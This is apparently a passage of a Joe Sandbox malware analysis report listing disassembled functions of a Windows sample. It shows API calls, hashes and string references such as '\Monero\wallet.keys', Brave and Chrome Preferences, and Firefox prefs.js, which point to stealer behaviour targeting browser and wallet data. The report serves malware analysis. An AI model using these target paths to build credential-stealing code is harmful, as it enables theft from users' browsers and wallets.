Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c148296dd892aa0834fa160f2a403ac6a8e8e367c96ab89ef5379d02429a2908
Instruction ID: 14a95d33fc1cdbe412d1b94676a77ee435034df5c945a51f58e74288c67763e2
Opcode Fuzzy Hash: c148296dd892aa0834fa160f2a403ac6a8e8e367c96ab89ef5379d02429a2908
Instruction Fuzzy Hash: E3F0E271641208BBEB249AA8AC49FFAB7ECE705B15F300448F604E3280D5B19E00DAA4

Function 000E1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 000F78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 000F7910
Part of subcall function 000F78E0: RtlAllocateHeap.NTDLL(00000000), ref: 000F7917
Part of subcall function 000F78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 000F792F

Part of subcall function 000F7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,000E11B7), ref: 000F7880
Part of subcall function 000F7850: RtlAllocateHeap.NTDLL(00000000), ref: 000F7887
Part of subcall function 000F7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 000F789F

ExitProcess.KERNEL32 ref: 000E11C6

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 521816a6d1bab9bb605234ebda7c6bb5bc011396e4d1e9f84b1e0c44d6519041
Instruction ID: fc7fa26bd9e49c04df7afa3a0c3dd55ef2cdb286548bb24b276c833414e387f4
Opcode Fuzzy Hash: 521816a6d1bab9bb605234ebda7c6bb5bc011396e4d1e9f84b1e0c44d6519041
Instruction Fuzzy Hash: 33E012B595430957DE1477F5AC0ABBA329C9B14785F080428FB09D2603FE25E81296AB

Non-executed Functions

Function 000F38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 000F38CC
FindFirstFileA.KERNEL32(?,?), ref: 000F38E3
lstrcat.KERNEL32(?,?), ref: 000F3935
StrCmpCA.SHLWAPI(?,00100F70), ref: 000F3947
StrCmpCA.SHLWAPI(?,00100F74), ref: 000F395D
FindNextFileA.KERNEL32(000000FF,?), ref: 000F3C67
FindClose.KERNEL32(000000FF), ref: 000F3C7C

Strings

%s\*, xrefs: 000F38C0
%s%s, xrefs: 000F3AAD
%s\%s, xrefs: 000F397A
%s\%s, xrefs: 000F3A6F
%s\%s\%s, xrefs: 000F3A4A

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: d116d0201fab0fda5484e0bab7b3aa91411a1ff24630fc4934dbbf270ddf4dcc
Instruction ID: 660a5f761b2b36d323c140c700b72e301b6bd9d5de5ceecccbd4005e467cb58b
Opcode Fuzzy Hash: d116d0201fab0fda5484e0bab7b3aa91411a1ff24630fc4934dbbf270ddf4dcc
Instruction Fuzzy Hash: B8A13EB2A002189BDB75EBA4DC85FFE737CBB48300F04458CA60D96541EB749B85DFA2

Function 000EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

FindFirstFileA.KERNEL32(00000000,?,00100B32,00100B2B,00000000,?,?,?,001013F4,00100B2A), ref: 000EBEF5
StrCmpCA.SHLWAPI(?,001013F8), ref: 000EBF4D
StrCmpCA.SHLWAPI(?,001013FC), ref: 000EBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 000EC7BF
FindClose.KERNEL32(000000FF), ref: 000EC7D1

Strings

\Brave\Preferences, xrefs: 000EC1DB
Brave, xrefs: 000EC102
Preferences, xrefs: 000EC11E
Google Chrome, xrefs: 000EC634

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 65cfae44e58077784771d35530f82ace844e2b8b77e1abcc6cdbccece1840996
Instruction ID: 0eabb1077a90b302b06afe44d2d9e67c442c60df8b59a7cded4ef40ba5100a69
Opcode Fuzzy Hash: 65cfae44e58077784771d35530f82ace844e2b8b77e1abcc6cdbccece1840996
Instruction Fuzzy Hash: 71426AB26001089BDB14FB70DC56EFD737DAF85300F408558F60AA6592EF74AB4ADB92

Function 000F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 000F492C
FindFirstFileA.KERNEL32(?,?), ref: 000F4943
StrCmpCA.SHLWAPI(?,00100FDC), ref: 000F4971
StrCmpCA.SHLWAPI(?,00100FE0), ref: 000F4987
FindNextFileA.KERNEL32(000000FF,?), ref: 000F4B7D
FindClose.KERNEL32(000000FF), ref: 000F4B92

Strings

%s\%s, xrefs: 000F49FB
%s\%s, xrefs: 000F49A4
%s\*, xrefs: 000F4920

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 775039d63768db040adda53d0798f5ee96c12dfd8bdaae2f78b8c5eed8491dab
Instruction ID: 654bab895d9f21aa5edc7b1313c4f88cd291fd62691a60be5190ff42dd2c4b2f
Opcode Fuzzy Hash: 775039d63768db040adda53d0798f5ee96c12dfd8bdaae2f78b8c5eed8491dab
Instruction Fuzzy Hash: B26152B2900619ABCB31EBA0DC45FFA73BCBB48701F04858CF64996141EB75AB85DF91

Function 000F4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 000F4580
RtlAllocateHeap.NTDLL(00000000), ref: 000F4587
wsprintfA.USER32 ref: 000F45A6
FindFirstFileA.KERNEL32(?,?), ref: 000F45BD
StrCmpCA.SHLWAPI(?,00100FC4), ref: 000F45EB
StrCmpCA.SHLWAPI(?,00100FC8), ref: 000F4601
FindNextFileA.KERNEL32(000000FF,?), ref: 000F468B
FindClose.KERNEL32(000000FF), ref: 000F46A0
lstrcat.KERNEL32(?,0122E758), ref: 000F46C5
lstrcat.KERNEL32(?,0122D600), ref: 000F46D8
lstrlen.KERNEL32(?), ref: 000F46E5
lstrlen.KERNEL32(?), ref: 000F46F6

Strings

%s\*, xrefs: 000F459A
%s\%s, xrefs: 000F461B

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 1e793696d273c50139710073e72641ac997f7519674af6027e2fb6e936d4e704
Instruction ID: 299657d3a17b8991b0f5d187c636dbaa746424c78ac512f7a232d38dabf12f61
Opcode Fuzzy Hash: 1e793696d273c50139710073e72641ac997f7519674af6027e2fb6e936d4e704
Instruction Fuzzy Hash: A45162B290061C9BCB61EBB0DC89FFE777CAB58700F40459CF60992191EB749B859F92

Function 000F3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 000F3EC3
FindFirstFileA.KERNEL32(?,?), ref: 000F3EDA
StrCmpCA.SHLWAPI(?,00100FAC), ref: 000F3F08
StrCmpCA.SHLWAPI(?,00100FB0), ref: 000F3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 000F406C
FindClose.KERNEL32(000000FF), ref: 000F4081

Strings

%s\%s, xrefs: 000F3EB7

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 6c7b2cd8d2e6f7a3a40d15e8343e844e28ac0c2f61591ae347efcfb2b39acd83
Instruction ID: b31eab12a267495896d43e13b93319506f94a72efa80079d4646323a24fd4819
Opcode Fuzzy Hash: 6c7b2cd8d2e6f7a3a40d15e8343e844e28ac0c2f61591ae347efcfb2b39acd83
Instruction Fuzzy Hash: 815164B6904618ABCB25EBB0DC85EFA737CBB48300F04858CF75992081DB75EB869F51

Function 000EED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 000EED3E
FindFirstFileA.KERNEL32(?,?), ref: 000EED55
StrCmpCA.SHLWAPI(?,00101538), ref: 000EEDAB
StrCmpCA.SHLWAPI(?,0010153C), ref: 000EEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 000EF2AE
FindClose.KERNEL32(000000FF), ref: 000EF2C3

Strings

%s\*.*, xrefs: 000EED32

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: f67735373224391c6ac449dbf87f82b364c6d1f02ad37add7263b3f326e2cd73
Instruction ID: ec18782e4c15b3e0397427e0909687b13148c71ac2b0f4b2dc6bde1d3398afbd
Opcode Fuzzy Hash: f67735373224391c6ac449dbf87f82b364c6d1f02ad37add7263b3f326e2cd73
Instruction Fuzzy Hash: F6E110B1A1111CAADB54FB60DC52EFE7338AF55340F4041A9B60E62493EF706B8ADF52

Function 000EF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001015B8,00100D96), ref: 000EF71E
StrCmpCA.SHLWAPI(?,001015BC), ref: 000EF76F
StrCmpCA.SHLWAPI(?,001015C0), ref: 000EF785
FindNextFileA.KERNEL32(000000FF,?), ref: 000EFAB1
FindClose.KERNEL32(000000FF), ref: 000EFAC3

Strings

prefs.js, xrefs: 000EF812

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 317dbc986220f72a564fceb116264c0dece7bfcd2152026ebd1db6dc462a57dd
Instruction ID: 89ca07834610ff57dc0972c89a738b03ca1030e8464928ccc9a39b819cc7b1cb
Opcode Fuzzy Hash: 317dbc986220f72a564fceb116264c0dece7bfcd2152026ebd1db6dc462a57dd
Instruction Fuzzy Hash: 88B154B1A0020D9FCB24FF60DC55EFD7379AF55300F4081A8A50E96592EF746B4ADB92

Function 000E16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0010510C,?,?,?,001051B4,?,?,00000000,?,00000000), ref: 000E1923
StrCmpCA.SHLWAPI(?,0010525C), ref: 000E1973
StrCmpCA.SHLWAPI(?,00105304), ref: 000E1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 000E1D40
DeleteFileA.KERNEL32(00000000), ref: 000E1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 000E1E20
FindClose.KERNEL32(000000FF), ref: 000E1E32

Part of subcall function 000FA920: lstrcpy.KERNEL32(00000000,?), ref: 000FA972
Part of subcall function 000FA920: lstrcat.KERNEL32(00000000), ref: 000FA982

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
Part of subcall function 000FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 000FAA12

Part of subcall function 000FA8A0: lstrcpy.KERNEL32(?,00100E17), ref: 000FA905

Strings

\*.*, xrefs: 000E17F1

Memory Dump Source

Source File: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 000E0000, based on PE: true

Associated: 00000000.00000002.1728957771.00000000000E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.0000000000191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000019D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.00000000001C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728987050.000000000032A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005B6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729168097.00000000005F3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729439372.00000000005F4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729549501.000000000079C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1729565400.000000000079D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: b2ff313beb7f8dfa0807aa5258e3bca6d6f120e11db599102b04a2aaa685aa0a
Instruction ID: 024fb0c7decf186db98473c17ddf229dbddc4c00466ccb89c85be28526aaabba
Opcode Fuzzy Hash: b2ff313beb7f8dfa0807aa5258e3bca6d6f120e11db599102b04a2aaa685aa0a
Instruction Fuzzy Hash: 7D1203B1A1011C9BCB15FB60DC55EFE7378AF55340F4041A9B60A62492EFB06F8ADF91

Function 000EDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 000FA740: lstrcpy.KERNEL32(00100E17,00000000), ref: 000FA788

Part of subcall function 000FA9B0: lstrlen.KERNEL32(?,012291C8,?,\Monero\wallet.keys,00100E17), ref: 000FA9C5
Part of subcall function 000FA9B0: lstrcpy.KERNEL32(00000000), ref: 000FAA04
